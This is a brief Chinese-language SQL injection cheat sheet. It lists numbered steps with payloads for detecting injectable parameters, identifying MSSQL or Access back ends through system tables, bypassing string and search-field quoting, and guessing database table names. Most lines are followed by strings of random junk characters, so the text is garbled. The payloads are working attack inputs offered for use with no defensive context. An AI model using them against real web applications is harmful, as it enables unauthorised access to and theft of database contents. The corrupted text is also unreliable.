1.判断是否有注入;and 1=1 ;and 1=2 Id1de>:;
2.初步判断是否是mssql ;and user>0 _6!iv
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3.注入参数是字符'and [查询条件] and ''=' M@JW/~p'
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 6L rI,d
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5.判断数据库系统 ]ddH>y&o
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;and (select count(*) from sysobjects)>0 mssql Cp+tcrd_s
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;and (select count(*) from msysobjects)>0 access :}2T of2
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 k<